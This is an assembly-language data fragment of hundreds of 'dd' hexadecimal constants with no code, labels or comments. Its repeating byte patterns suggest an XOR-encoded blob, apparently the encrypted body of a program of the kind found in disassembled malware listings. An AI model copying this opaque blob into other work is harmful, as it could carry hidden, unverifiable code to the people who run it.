		dd 7EAB132h, 0C3DD0170h, 5FF30D1h, 7668C38Bh, 36A4F76Fh
		dd 565F383Dh, 0DFA4B132h, 56D5B130h, 0D6E5D052h, 5675B133h
		dd 56BA59C7h, 0D707B132h, 6671A7D8h, 56505834h,	0E55BB132h
		dd 0D4A881ADh, 56FA58B9h, 0FBD7B132h, 68748C2Dh, 675C08A2h
		dd 485F8006h, 0D7589994h, 56ABB138h, 56D5B4DBh,	45BCFB32h
		dd 13B27C99h, 56BAB1CAh, 139A4D32h, 56AEB1CEh, 96644432h
		dd 56ABB6DBh, 6F5CEB32h, 0FF7168DDh, 366B3A54h,	37406DB2h
		dd 0F9FD33F5h, 56AFB702h, 3637B132h, 5E420C85h,	0B7D5B132h
		dd 3FC7D700h, 3770CCF7h, 30DB4BB9h, 0C6CD4AB3h,	56B4343Dh
		dd 36ABB132h, 56BB5861h, 3282B132h, 6E1E316Bh, 881A0EEFh
		dd 2C5E5933h, 3702E1DDh, 59464AB2h, 565311B6h, 0AFEB4832h
		dd 593C4AB2h, 56EE25B6h, 567A5832h, 360AB132h, 0BD8AAB1Bh
		dd 63D69A0Ch, 0FF90F32Ch, 4642F182h, 81D5B132h,	22D6E240h
		dd 0A089EA47h, 0FC7EEDDDh
		dd 0D61A4E2Fh, 0D2A15AC9h, 5657B553h, 5426BE52h, 0DDD5B132h
		dd 8660D1E1h, 37146EB9h, 56B45872h, 1579B132h, 42266F36h
		dd 0B7A232B9h, 51B985CEh, 592556B2h, 56EABDB2h,	50F3BE32h
		dd 59BAB132h, 565DB1B0h, 0AD2FD732h, 0D258313Dh, 56ABB52Fh
		dd 56DB3C3Dh, 0D78AB132h, 0B0DBACD2h, 563DBE2Ah, 375DB132h
		dd 47373331h, 0DF58B718h, 56ABB123h, 56DE3C3Dh,	5003B132h
		dd 7375B132h, 1EB2DA85h, 0D73DF1C4h, 0D67A8AC3h, 55D1BE62h
		dd 59ABB132h, 0D6B46785h, 0D2E553C9h, 5675B280h, 56BAB9DBh
		dd 0EC2E7532h, 5195B329h, 0B5AC3187h, 55D6353Dh, 0BFB5B132h
		dd 56EAB13Dh, 7DDBA54Fh, 15BBEABAh, 0B6839DE1h,	37265254h
		dd 31AC3054h, 2D2FBED1h, 36D5B131h, 5C034BB9h, 0F775B132h
		dd 10FD16F9h, 0D640D42Eh, 0B52ED0BAh, 0ADD744C2h, 2C2FBE42h
		dd 36D5B131h, 5293A54h,	5675333Dh, 37E4B132h, 0BF433A54h
		dd 56AEB138h, 4CE7B5FFh, 0B5CB5B4Ah, 0B555C490h, 5768BECAh
		dd 0A375B132h, 0AD3AD052h, 1AD9BE8Ah, 36AEB133h, 98DCE1C7h
		dd 682BD068h, 6A51BE37h, 0BFEAB133h, 5675B121h,	80B758E1h
		dd 49244F71h, 705E1E1Bh, 35A8A826h, 0D6A464CFh,	0D2DA9C0Ch
		dd 56EAB029h, 3E4B31CAh, 57AB353Dh, 0BF3DB132h,	56AEB13Eh
		dd 36891D00h, 0EE05265h, 7E72677Bh, 56E8323Dh, 0C24B132h
		dd 0A942F153h, 66F211B0h, 5E474434h, 7A57B132h,	762D5BDCh
		dd 30B35436h, 0D612AFB9h, 308C49D5h, 0BE3B4AB3h, 5690353Dh
		dd 3052B132h, 0D6AFAFB9h, 0D7A441D5h, 56D5B13Ch, 56EAB8DBh
		dd 9A0B9B32h, 0A31B362Bh, 593DDDE5h, 56AEA8BCh,	56445932h
		dd 5ED5B132h, 669D93D7h, 0DFB5C5Eh, 8C7AAF2Ah, 0EF678BB1h
		dd 0D452E9A6h, 56AEB127h, 5657A1DBh, 0F49F7D32h, 3EDC8CA2h
		dd 3AB55Fh, 0A97B836Bh,	0D7DCD03Ch, 599D30C9h, 56AEDBB6h
		dd 36AF4432h, 56B93E3Dh, 0BFB5B132h, 56EAB139h,	0E1D0BE5Dh
		dd 596DEFD9h, 371D432Fh, 0E8C8D167h, 0D9581557h, 56ABB130h
		dd 0A9B4D052h, 664759A0h, 59284834h, 56BAB9B3h,	54D4BE32h
		dd 36AEB132h, 13DE4853h, 56A558CEh, 100DB132h, 0C7CBDCADh
		dd 5A3CCFC3h, 848680ABh, 2BDE4D53h, 0D3A1B0CEh,	5657B7A9h
		dd 56AA343Dh, 0DD20B132h, 7CF00088h, 5CF2BE34h,	0BFBAB132h
		dd 565DB137h, 0AD20C9CCh, 0DD31D1EBh, 56A459C8h, 2178B132h
		dd 0D5A8F349h, 35AA1C50h, 97294F2Fh, 63CEA0Fh, 56A85952h
		dd 2B09B132h, 0E63B4E22h, 4F56BE6Dh, 0BEEAB132h, 5675B121h
		dd 60E2F3DBh, 6B598997h, 70602427h, 0BFC23FD8h,	88AF21Dh
		dd 0F6573A53h, 0BFEC819Dh, 5675B13Ah, 9119EBEEh, 7B092h
		dd 369E8D0Bh, 5656303Dh, 3057B132h, 37A4158Bh, 5A68BE6Ah
		dd 0AE75B134h, 56B55852h, 0D1AFB132h, 0C03E4402h, 6A0E8932h
		dd 55258108h, 37193B2Bh, 4C6B0BB9h, 68DB718h, 56AF303Dh
		dd 46B4B132h, 38AEB132h, 0BE31768Bh, 0F67392E1h, 0EA1D949Ah
		dd 0DDC2F9F8h, 66DA11B0h, 56B55834h, 3ABEB132h,	0F9EA9004h
		dd 5DF00ED7h, 0D641A9F5h, 66E9882Dh, 56EABDDBh,	0AB369A32h
		dd 0A31A8AC7h, 0CEE2C1B2h, 0D9A1E996h, 5657B4A9h, 0C1113AC7h
		dd 0BFD3819Fh, 56EAB13Fh, 49491D6Ah, 26326BC0h,	2AAC4E05h
		dd 0C12C3247h, 4251819Fh, 56BE3A3Dh, 30B5B132h,	0BE7BB48Dh
		dd 5675B13Bh, 40D55626h, 2BB8CF5h, 0DFCFEF82h, 5AD6BE05h
		dd 59ABB132h, 56D5B7B6h, 5664BE32h, 0A375B132h,	0BFAAF6BBh
		dd 565DB13Dh, 0EAB117EDh, 3EE8B1C1h, 551AC681h,	61BD398h
		dd 56EABBDBh, 0A4FD4D32h, 69B8862Fh, 0DD081B1Eh, 660111B0h
		dd 47DABE34h, 0BFABB132h, 56D5B13Eh, 92BE9BB8h,	377296D0h
		dd 21E772BEh, 0AF6DADB9h, 56BE586Ah, 2CB1B132h,	2391DA8Bh
		dd 0E7CCCF73h, 31BAB5DFh, 9FC04D8h, 0BF4F4D3Ah,	565DB5D1h
		dd 0ABC60952h, 0EE318D0Eh, 91CA1AE0h, 56D74977h, 0DC8AB132h
		dd 0BFA731DDh, 56915853h, 0D63DB132h, 59CF98E5h, 5657B0B1h
		dd 136C4832h, 56D5B0CAh, 56F95832h, 7BBCB132h, 5D99C570h
		dd 6D6E4B01h, 0E94C1DC4h, 23ED3C28h, 0C1113AF3h, 0AED3819Fh
		dd 0FB7D33B1h, 3661B702h, 0AE31D762h, 8DDCD769h, 0AFCF79BBh
		dd 0DD3786BBh, 5942D0E8h, 0F7D5B132h, 0AA2C9700h, 89DEA401h
		dd 274716A3h, 11D43A92h, 8E2ED122h, 56475808h, 258BB132h
		dd 42FF7B64h, 0C56895Fh, 0BE7E0BB1h, 0D5DB876Ch, 0D352B2CAh
		dd 56AEB17Bh, 5643373Dh, 5942B132h, 39D5B132h, 6B1A5D81h
		dd 8689AC1Bh, 8B934ACh,	0D49A178Dh, 509E1E92h, 5657B130h
		dd 56AA3F3Dh, 0BF20B132h, 56EAB17Fh, 5675A5DBh,	27A4F332h
		dd 40FE6AB1h, 13FA60E1h, 0A338EDFAh, 737BB807h,	542D3212h
		dd 54DC3C3Dh, 0DF7AB132h, 56BAB133h, 44B4D1CEh,	0FAAEB132h
		dd 39E34761h, 2D432F0Fh, 738A4CCFh, 51856FA7h, 53F6BECBh
		dd 30BAB132h, 39C947B3h, 0AED33253h, 0E8D3BE32h, 0BFABB132h
		dd 56D5B120h, 0FE1B221Ch, 0C815FE6Eh, 4B5D13E7h, 5560A3A8h
		dd 0E0A118E4h, 0FFABB074h, 56ABB1B2h, 569C343Dh, 0D7E5B132h
		dd 5675B13Eh, 56BAB6DBh, 0A80EC532h, 427D1A3Bh,	5937D172h
		dd 56ABB1B1h, 37B4D132h, 53023253h, 84C74452h, 56EF5853h
		dd 0D452B132h, 56AEB125h, 56D9BE52h, 0BFABB132h, 56D5B138h
		dd 70A98FE1h, 1AF37F87h, 7BDB9145h, 565DB1CDh, 56A65952h
		dd 0E861B132h, 5EB3E4ADh, 503C5BFDh, 53EAB132h,	0BCC8E819h
		dd 0D1B5EA41h, 565DB133h, 0BE2DD0CBh, 565E5837h, 4010B132h
		dd 1CF830C9h, 0BF0F5FB3h, 5675B158h, 56B1323Dh,	303DB132h
		dd 0ED16FE8Ah, 1E207DC8h, 0AA52E253h, 0F9752BB9h, 368AB702h
		dd 0BFA60E3Dh, 56BAB137h, 0CEF67117h, 5E47D0F2h, 0D57B132h
		dd 881DD370h, 378313F8h, 56EAB9DBh, 0A2BBF32h, 0A8365797h
		dd 65593ABEh, 56A6313Dh, 0D737B132h, 0A28121D1h, 368ED010h
		dd 0F237B78Bh, 56725852h, 0F9BEB132h, 0D1D1D417h, 5607D088h
		dd 59D7B132h, 56ABDBB7h, 56DF5832h, 0A658B132h,	4DCDC171h
		dd 0A2FFA93Ah, 0D5A17731h, 0D1A1B4F2h, 5657B122h, 56ABBADBh
		dd 0C527FF32h, 0B5FB74E7h, 0F9AD19EFh, 0F91A3331h, 1EA5B702h
		dd 4F453052h, 37448FCFh, 36A3F6BBh, 372F0E3Dh, 59E6F6BBh
		dd 5675BAB7h, 0E9B5D132h, 56D3BEC8h, 37AEB132h,	56558BDBh
		dd 56A25832h, 0B123B132h, 3CB09C23h, 0A15E14C9h, 5730BEEAh
		dd 0AF5DB132h, 51477719h, 5157B132h, 17256FE0h,	8E229E93h
		dd 56EB373Dh, 0D58CB132h, 5546B4F2h, 66F211B0h,	0BFE64D34h
		dd 5657B135h, 5259A8C3h, 0DF6BC51Dh, 308AB975h,	0DF146EB9h
		dd 59DABD75h, 0D73B7285h, 3725F6FCh, 56566BDBh,	56AD5832h
		dd 4F73B132h, 0E3A69D3Bh, 5675A2DBh, 0DDBC0432h, 81DC7477h
		dd 0B88455EAh, 62B8AF4Ah, 45300AF5h, 473C7101h,	9FEAB132h
		dd 650CABA1h, 0EE23D4D2h, 0C235FBC8h, 78F9B457h, 5646343Dh
		dd 5A42B132h, 53D5B132h, 25090EF3h, 95C0DC99h, 0DC260E66h
		dd 3DB074h, 30F173B8h, 813647B3h, 592B1953h, 56D55BB7h
		dd 90E94832h, 567D353Dh, 0D4B5B132h, 565DB130h,	962DD052h
		dd 5BBED130h, 0F7ABB132h, 4739D3A2h, 5EE3ACD6h,	0C1F19134h
		dd 56BB0A53h, 0BE3DB132h, 56AEB13Ch, 0F3DF7440h, 0C33BBBA8h
		dd 0E1FCC629h, 0E1E5688Dh, 5D14EFC8h, 483EBEE9h, 0A35DB132h
		dd 89A62BB8h, 5BBEB71Dh, 84ABB132h, 0E0B6130Bh,	0CC05D5AFh
		dd 0A5411A7Eh, 575931CEh
		dd 0BF9EB2CAh, 56AEB13Dh, 0C671154Fh, 0E5292403h, 48F9A2A3h
		dd 0BF3B4209h, 5675B126h, 1C1A9BACh, 0E6E15F14h, 8A43A870h
		dd 0E4CC5DBEh, 32767644h, 36DDF6BBh, 0BE003054h, 87CFD756h
		dd 0DF43D029h, 0D752BD75h, 56AEB127h, 5658313Dh, 5C42B132h
		dd 7ED5B132h, 7EF0711Ch, 313604DFh, 56BF5855h, 4F32B132h
		dd 0BF1DE4E2h, 5657B1A9h, 56A63E3Dh, 59B5B132h,	56EAB1B0h
		dd 0FDA40E32h, 0A1DBA3FCh, 89DCD1EAh, 32FFD53Fh, 56513B3Dh
		dd 0B52AB132h, 152DF4E5h, 56159453h, 429CB132h,	0A3BAB132h
		dd 0A963E6E7h, 5A45ACCCh, 84E6F5B1h, 0C1E7976Ah, 7D913CE6h
		dd 56E358F4h, 0A5C6B132h, 9602DE7Bh, 0A1BEAD76h, 962D4DEAh
		dd 565D5830h, 2FF8B132h, 37FCE8h, 5E61BA09h, 597DF6BBh
		dd 56BAB9B7h, 54DDBE32h, 36AEB132h, 5A103853h, 4225BECBh
		dd 59D5B132h, 56EABFB9h, 567C5832h, 0EE8AB132h,	7164A069h
		dd 0AEE2A016h, 565B313Dh, 0D1A4B132h, 56D5B134h, 56EA3C3Dh
		dd 0A314B132h, 423ABEFBh, 595DB132h, 56AEBFB9h,	565E5832h
		dd 9BECB132h, 0E615558Ch, 9548FFB4h, 567A58CBh,	21BEB132h
		dd 0F1777E7Ah, 7CD88E3Eh, 0B679397Ah, 4642E464h, 6ED5B132h
		dd 0CB09E058h, 789D4A7Dh, 8C1502B2h, 0DD2FF691h, 9F2ED1DEh
		dd 0D53648EDh, 0BFCB4DF6h, 56D5B135h, 0D15EDF9Eh, 37F82160h
		dd 5D3CBE52h, 0BF5DB132h, 56AEB134h, 4AD5C591h,	56430F33h
		dd 0CD5B132h, 0BF6D5BB3h, 0A380B702h, 22003AC7h, 0BF5B819Fh
		dd 56AEB13Ah, 6F271B4Bh, 5451F1C2h, 473C7801h, 35EAB132h
		dd 4AA32D1Ah, 1D460F27h, 0A051E111h, 7AB6184Dh,	59578EB1h
		dd 56AFB6B6h, 575CBE32h, 0AFEAB132h, 15B6B9h, 0FF5C3054h
		dd 85DDEB5Fh, 2351D049h, 58DFBE3Eh, 36ABB132h, 56D5B7DAh
		dd 59E0332h, 0EDEB8CCh,	5ECF4E53h, 44B4E1C7h, 38AEB132h
		dd 9283E189h, 0E614A950h, 0A2436D3Dh, 1F927E54h, 5EBD5904h
		dd 7DAB132h, 0D850E3Dh,	45CE7189h, 965CD036h, 56E6343Dh
		dd 0DD2DB132h, 4E6CBE35h, 0BF75B132h, 56BAB121h, 28C32A2Ah
		dd 0F3D084EAh, 0BD492DC2h, 8D93A3E5h, 0BF35D974h, 56EAB174h
		dd 5675A0DBh, 59AD1532h, 22915A6Fh, 4DFE1977h, 63EF5B52h
		dd 59CBC86Ch, 0DEDA7985h, 56EAB134h, 56753A3Dh,	0D5DBB132h
		dd 0BFA8A5F5h, 0A9514E72h, 56473D3Dh, 0D5A4B132h, 56D5B138h
		dd 56EAB4DBh, 634F9A32h, 1333326Ah, 0D73BD1CEh,	37D7FBF8h
		dd 595BC4CDh, 56ABB6BCh, 5753BE32h, 0AAEAB132h,	367DC4CDh
		dd 0EC7E52B2h, 1BB53AD7h, 0BF994E53h, 5657B134h, 8464D1D4h
		dd 593D0BE4h, 0BFEAB13Ah, 5675B121h, 0D917E9Dh,	0D45F51A8h
		dd 96F62D18h, 242ECA96h, 5D3A6BC7h, 4F51BEF2h, 59EAB132h
		dd 5675B0B1h, 83534932h, 365DB130h, 5627BE64h, 957B132h
		dd 375C3A54h, 0BF29F4B9h, 56EAB13Fh, 5B846F2Dh,	0ECFBA8DCh
		dd 6AF32E03h, 59A98833h, 56551AB0h, 5720BE32h, 0AAD5B132h
		dd 5916F4CDh, 5675B0BBh, 29394432h, 0D252B136h,	56AEB112h
		dd 38E8D752h, 0C27D3152h, 5AAA3253h, 5B6EBE32h,	0AA75B132h
		dd 56BAF6DBh, 57D0BE32h, 0AEAEB132h, 0A9A84E8Ah, 4819D1CDh
		dd 378DE052h, 56EF0853h, 0D27AB132h, 56BAB13Ah,	0EBE4D752h
		dd 37F6E7FEh, 5BBE1AC1h, 25ABB132h, 0A77177ACh,	0D7AE6229h
		dd 0E9E1812h, 0A945B6DBh, 57D1BECDh, 0A3AEB132h, 5347CEB1h
		dd 563A353Dh, 59B5B132h, 56EAB4BBh, 11210932h, 3746DE27h
		dd 504DCEB1h, 560F343Dh, 0AF37B132h, 63AF8189h,	3694D027h
		dd 651A3054h, 56665957h, 2797B132h, 0B7BAF742h,	0FAC700Ch
		dd 0B8BC9634h, 0C8AC8F1Dh, 90B0480h, 52AD3A53h,	62923052h
		dd 0A3C7EAB3h, 5A023A53h, 56AEA2DBh, 0CE1C1232h, 0ECA8F052h
		dd 34AF08B9h, 4E5D6D0Ch, 40861BC8h, 56BAA5DBh, 0BBD13A32h
		dd 68E49903h, 3B798E46h, 0B7F94F48h, 238C4271h,	57B4589Ch
		dd 5915B132h, 0ECDC738Dh, 0DD3CEA27h, 0D0A1B575h, 5657B13Dh
		dd 56ABBBDBh, 0A99FFA32h, 6D60DF58h, 0DD3236FDh, 0DBB5BD6Dh
		dd 565DB133h, 578558CEh, 0DDAFB132h, 5D42B575h,	0DBD5B132h
		dd 67F4339Ch, 0D18AEC89h, 9316C85h, 966483Eh, 942BBE3Ah
		dd 3657B132h, 5623BE52h, 0BED5B132h, 56EAB134h,	0B1B08A4Ah
		dd 37E4B884h, 0D73DE353h, 0D5D00AE5h, 87E0BE4Eh, 52FC3A53h
		dd 56D5B7DBh, 0C68F0032h, 7D798514h, 5543A167h,	50B4A567h
		dd 9CAEB132h, 2B5EE939h, 5AF43A93h, 662E0952h, 5903AD60h
		dd 6775B132h, 0A542E63Dh, 537E1FCEh, 1E51C9B7h,	7D363075h
		dd 5B42D1E8h, 5DD5B132h, 0D771C034h, 0DBF0F9FFh, 4FE3F59h
		dd 71850F52h, 99259577h, 0BDD4D053h, 4A2DBE37h,	36D5B132h
		dd 0BE657CB2h, 5675B123h, 0DE6AC797h, 7177FE74h, 46B79E6Dh
		dd 47949129h, 0CCAEF63h, 569958C7h, 4403B132h, 0B475B132h
		dd 2338BE04h, 0B980D9ABh, 7967618Fh, 6408E511h,	52EC3AF6h
		dd 5A8A3ACAh, 52B59AC7h, 567C353Dh, 36DAB132h, 70310A53h
		dd 36CF868Fh, 0BDD4D0CAh, 0DCA84437h, 50FFA093h, 56E2323Dh
		dd 0D37AB132h, 56BAB130h, 29DED052h, 0D3A1B222h, 5657B13Bh
		dd 56AA323Dh, 1720B132h, 0AA339ACEh, 5774EDBBh,	56BB3D3Dh
		dd 0EEA4B132h, 0A9514ECDh, 5657BEDBh, 3E1C9D32h, 517ECC49h
		dd 358D0E97h, 58782017h, 56BAB48Bh, 0A5A44932h,	8B474D99h
		dd 36A84ECEh, 56A83F3Dh, 0E9DAB132h, 375D07CBh,	59BC4953h
		dd 56BAB6B6h, 57D4BE32h, 0AFAEB132h, 0BF57A1F0h, 56ABB134h
		dd 0F6A44C95h, 0A3BF7EB9h, 567B303Dh, 5F53B132h, 0F15DB132h
		dd 94F46434h, 5E8935CBh, 0D8A45DB9h, 56D5B133h,	0AA2E32CAh
		dd 5675A3DBh, 0E7922F32h, 19EF7BFCh, 55D867D4h,	0AA383CF3h
		dd 36627338h, 56D5B7DBh, 8A414532h, 3615EE20h, 56BABBDAh
		dd 2E51232h, 0F9ED8CE0h, 0EE4E798h, 6A924B8Ch, 563DD06Bh
		dd 0CEAB132h, 0B83E5BB3h, 0D2B5B702h, 565DB13Ah, 56AC373Dh
		dd 3737B132h, 56ABA2DBh, 0D4363132h, 0AB401533h, 0A5E77AA4h
		dd 0E5AE012Ch, 92FE2051h, 0FBDA0BB9h, 59BEB702h, 0DEABB132h
		dd 0A72A8642h, 4399C44Eh, 0D4538759h, 9F8952D4h, 56565952h
		dd 577DB132h, 95A0EFB9h, 95DD27ACh, 236ED7BDh, 5E03E899h
		dd 0AC75B132h, 0AECB9431h, 376E1DCFh, 59AE8EB1h, 56545EB6h
		dd 5126BE32h, 59D5B132h, 56EAB0BEh, 51FE4832h, 56A85952h
		dd 3DCBB132h, 0C54FB34Bh, 705197C0h, 2898860h, 0DD18F3AEh
		dd 56EA363Dh, 372DB132h, 59B6C4CDh, 565DA6BBh, 56BC5832h
		dd 0AAE3B132h, 9591F0ABh, 3AA9A301h, 6AC860ABh,	0FED7AD87h
		dd 36B2C4CDh, 0B8893E8Ah, 0D8A1D136h, 5657B132h, 59FBD053h
		dd 56D5BCB5h, 56E25832h, 6614B132h, 0A29313FDh,	0C9B5F021h
		dd 36AEB131h, 0C3280B54h, 744B3054h, 96DED004h,	56D0343Dh
		dd 0D97AB132h, 56BAB135h, 30AC3A52h, 0DDCF68B9h, 50BFD135h
		dd 0F6ABB132h, 140A77A9h, 3252D70Ch, 3614E9DBh,	0A90DBECAh
		dd 56125853h, 0BFCEB132h, 5657B137h, 7C83A0FAh,	37E201B8h
		dd 59FE76B1h, 5675A4BCh, 56AA5832h, 0F19B132h, 644C2012h
		dd 6EF11FDBh, 2FE2B4BDh, 0BF295C72h, 0A9154E3Eh, 5679393Dh
		dd 0DAB5B132h, 565DB134h, 56AE373Dh, 3037B132h,	301D4389h
		dd 15476BB3h, 0AAAF3853h, 5674363Dh, 5942B132h,	565DB9B6h
		dd 5421BE32h, 3657B132h, 5ADE4E53h, 56DC5852h, 4C2FB132h
		dd 527D7649h, 372D45BFh
		dd 3655C4CDh, 562CBE61h, 0D57B132h, 1A4CD888h, 612AD04Bh
		dd 56E1343Dh, 509CB132h, 0D1BAB132h, 0D4B48F8Bh, 5412598Dh
		dd 5937B132h, 3752798Dh, 5915BAC7h, 56EA9FB6h, 7FC4D132h
		dd 56BAB6DBh, 6F9FAB32h, 69C56D80h, 54395853h, 0DEA4B132h
		dd 56D5B121h, 56EABFDBh, 0C0F1C032h, 5EDD3FBEh,	0A6413296h
		dd 0DD4619BFh, 6FAB4D77h, 1F29BE35h, 59D5B130h,	56EAA3B5h
		dd 519CD132h, 0BABAB132h, 1EFD89B3h, 0ECC83CACh, 0A9366673h
		dd 0D2A44D77h, 56D5B13Ah, 56E8343Dh, 3715B132h,	56BECEB1h
		dd 563D353Dh, 0D4A1B132h, 5657B125h, 56ABA3DBh,	88174032h
		dd 91F4110Ch, 3FA5ACC7h, 2536970h, 0D583E36Fh, 59AEBD4Dh
		dd 565788B6h, 0D511D132h, 0BF8A0D33h, 56EAB121h, 4EE7D12h
		dd 20B2E86Eh, 0D043608Fh, 7308142Eh, 374C4614h,	56ABCEDBh
		dd 583CD132h, 0D2EAB132h, 0A6C54B6Ch, 305D4403h, 6053DBAh
		dd 0A916D059h, 0BFA84ECDh, 56ABB123h, 94A8419Eh, 0AA872140h
		dd 0F75D9F32h, 279B7CE2h, 5658088Eh, 59CEB132h,	5657B1B6h
		dd 0AE10D732h, 0FD26D0F2h, 56EABBDBh, 0E456FC32h, 64CBCE3Ch
		dd 0BF696BE4h, 0A9514F97h, 565B363Dh, 30CBB132h, 807F76B3h
		dd 0DB7B4D8Ah, 0DD15D013h, 56B758E8h, 812DB132h, 0FC431633h
		dd 8DD1D61Eh, 37407876h, 53C5CEB1h, 56B5353Dh, 519CB132h
		dd 9BBAB132h, 0CC30FF59h, 292D08F0h, 0D358B722h, 56ABB14Eh
		dd 0DD0B3B52h, 0AFABD0F8h, 5971F6B9h, 56BAB9BDh, 54DEBE32h
		dd 36AEB132h, 5A083A53h, 56AA3F3Dh, 0BF29B132h,	56EAB1FAh
		dd 53FDBE52h, 30BAB132h, 0F40478B3h, 56A15853h,	509CB132h
		dd 0C4938203h, 0C5EA3EC0h, 5B567002h, 52323AB9h, 56BABEDBh
		dd 0CE0B7032h, 0F9F7ECB7h, 0EE1B70D2h, 5B79B585h, 0AFD9EEB9h
		dd 566958C7h, 0D77AB132h, 56BAB13Eh, 565B3D3Dh,	0DBA1B132h
		dd 5657B132h, 36AFF6B9h, 56D5A0DBh, 0EFF40B32h,	95247B25h
		dd 0CC24EEE2h, 39BC77E7h, 0CF164F52h, 370DA688h, 542EBE52h
		dd 0DDD5B132h, 6A0430C1h, 376A5983h, 36B6EEB9h,	899A3054h
		dd 542CBEF1h, 0DC57B132h, 980D0D0h, 5756BE36h, 0AFEAB132h
		dd 0AA705AB1h, 55AACEB1h, 564A343Dh, 1757B132h,	5657A1DBh
		dd 0CA089832h, 0BB7ACD71h, 0E2B407D0h, 67CC5185h, 0AF639AEEh
		dd 575CEDBBh, 0A95109C7h, 0EFA24ECDh, 56ABB137h, 367E42CAh
		dd 0E8BD161h, 189CD0CBh, 36454ECFh, 565DA0DBh, 0D9DE8132h
		dd 7DFFC7FFh, 1F385780h, 0D5A214FDh, 375254B3h,	37494636h
		dd 5E3CBE53h, 365DB132h, 129C0B54h, 0A33640B9h,	56BB58FBh
		dd 63B8B132h, 7A4CEBC3h, 6FC0F211h, 5142FA71h, 5E9FCBDAh
		dd 59FB4D32h, 5657B9BCh, 5427BE32h, 36D5B132h, 0BF063A53h
		dd 5675B123h, 0C39691ECh, 0D75D242Dh, 0E9E308F6h, 7C25DDADh
		dd 0AA6F325Eh, 56DA5952h, 0CB08B132h, 0BFEEA8CAh, 0E7B65097h
		dd 0E95E05B8h, 0D5E0407h, 9F9A7BB3h, 36CAEFFDh,	5E903AC7h
		dd 56EB363Dh, 6D8DB132h, 0D4B5BD77h, 565DB164h,	56AF373Dh
		dd 6DABB132h, 0D1A4A177h, 56D5B174h, 56EAA5DBh,	0EAC92B32h
		dd 27CB8DCCh, 3C028D5Eh, 45B4DCFCh, 1DC5A2DDh, 0AAEE765Bh
		dd 56D5B132h, 5A6FBEC7h, 0BF75B132h, 56BAB135h,	0BB9FB708h
		dd 0BFD76F25h, 5657B100h, 56ABB8DBh, 9A32DA32h,	6CF3102h
		dd 13B2C62Ch, 56BAB0CEh, 56515832h, 5F39B132h, 0F3318BD0h
		dd 6589CF1Ah, 513CA051h, 59EAB132h, 5675B0B4h, 59DB4D32h
		dd 565DB9BCh, 5423BE32h, 3657B132h, 0AAEE3A53h,	0A58D0852h
		dd 5C509283h, 370F97C6h, 0BFDAD1FBh, 565DB120h,	648B1B2Eh
		dd 28F3A4D0h, 0F8ABCDB4h, 98C01D6Dh, 99606994h,	37823A53h
		dd 36BABDF0h, 8013528Bh, 5C14D145h, 594EBB3Ch, 56ABB1BFh
		dd 3B4D032h, 0BC6BD752h, 459D40D7h, 0C9BAB132h,	7BE21A07h
		dd 0FE6A05Ah, 40F687DEh, 68774663h, 0A65567A4h,	368BE818h
		dd 0D2CE261h, 59563A53h, 565DBDBDh, 4515D132h, 0E93542AFh
		dd 65B6AEFFh, 473CD153h, 53EAB132h, 7AC4E78Ah, 737A6E26h
		dd 0ED4ED7A2h, 0B56079F5h, 1AA63054h, 9228D0CDh, 56DE58CEh
		dd 368DB132h, 7726674h,	0D0B11964h, 0A8D6D195h,	376457B2h
		dd 56BF4452h, 0CABB132h, 0A2565BB3h, 0DCE5B702h, 5675B135h
		dd 875B3152h, 0BF3CD052h, 56AEB13Bh, 0EA4E622Ch, 0DCE2E517h
		dd 0BD54D10Eh, 4B06F0C0h, 75950963h, 37E09A4Eh,	5AB47801h
		dd 0BAAEB132h, 2BD9B306h, 12877072h, 65F7237Ah,	56FE58E9h
		dd 4094B132h, 620C29A3h, 5B4493AEh, 65C72234h, 0DAA61EE2h
		dd 0B2261C1h, 0D7B3D1CEh, 597380F5h, 5675B1B7h,	0EC31D032h
		dd 506D1C46h, 59CA0652h, 5657B7BCh, 1D5C3032h, 37836AE8h
		dd 59EA8EB1h, 567705B6h, 423CBE32h, 0BF5DB132h,	56AEB13Dh
		dd 0D1C5869Fh, 0A931D9A2h, 87E12008h, 0D50D1705h, 0D37A4E0Dh
		dd 56BAB103h, 565DBDDBh, 50288932h, 1F7B85B4h, 5F33BB20h
		dd 56C4588Fh, 749B132h,	0A1BF04E8h, 0ABC48C3Dh,	326E8C30h
		dd 0D531D307h, 0BFAEA5F5h, 0A9544E96h, 52AA32CAh, 366EBE32h
		dd 5975B132h, 56BAB0B0h, 0D63D4932h, 7F1057E0h,	37218B4Ch
		dd 56A7CEB1h, 5690353Dh, 5B03B132h, 7575B132h, 5297D2DDh
		dd 0DE52AD22h, 0EDF7305Dh, 56572BDBh, 4A25BE32h, 36D5B132h
		dd 56EAB9DBh, 0E1E7F632h, 0A6C0064Ch, 56555829h, 0CA0AB132h
		dd 370B4B40h, 36CA48E9h, 5986CF82h, 56EAB1B9h, 0A914EE32h
		dd 0D0B54D77h, 565DB12Bh, 56AEA5DBh, 0F400D832h, 199B5053h
		dd 696218C6h, 0B5C9BDB9h, 11B5045h, 4453D1E3h, 715DB132h
		dd 6534553Ah, 82642E9h,	0D304D56Fh, 4A6EDBA8h, 4360BEFAh
		dd 0BF75B132h, 56BAB122h, 2BF11638h, 564C6E14h,	0CD6EACA6h
		dd 5BA5C1FBh, 42123253h, 56ED333Dh, 0D17AB132h,	56BAB133h
		dd 0A89358C7h, 0D5564ECDh, 5952A14Dh, 56ABEDB6h, 5156BE32h
		dd 59EAB132h, 5675B0B9h, 29394D32h, 0D352B722h,	56AEB1B1h
		dd 0D658F0CAh, 56ABB133h, 52923ACBh, 56EAB9DBh,	2766A32h
		dd 1419D64Dh, 565758E8h, 0A2C1B132h, 0AC9F72BBh, 0E116A5C8h
		dd 36D9EEB9h, 56EC5852h, 0E11BB132h, 0DFC894D8h, 37973A54h
		dd 0B247D0CBh, 0AF57B132h, 52EC3ACBh, 8F54D752h, 0DFE5278Eh
		dd 5675B130h, 0A3DB6EB9h, 0BF51EEB9h, 56AEB123h, 6CA7C268h
		dd 0F0E1913Eh, 4E87AEEEh, 0BB554BDh, 56E758C9h,	0DFB5B132h
		dd 565DB135h, 56AF3D3Dh, 0DDAEB132h, 5A42B575h,	6BD5B132h
		dd 56D6AE14h, 0FDF15Ch,	0DDB55BF3h, 0D952BD6Dh,	56AEB120h
		dd 565B333Dh, 5142B132h, 0FDD5B132h, 0F69F22A0h, 0D17A709Dh
		dd 56BAB138h, 56DABE52h, 0DDAEB132h, 97CD0FDh, 0BD284D36h
		dd 0DDB3D137h, 368B48E5h, 30BE3A54h, 0C5AF61B3h, 46223253h
		dd 732BBE31h, 0BF57B132h, 56ABB123h, 3C2D0985h,	2E5C35A3h
		dd 53D1BB24h, 56812482h, 59A4F005h, 56AEB6BFh, 57DABE32h
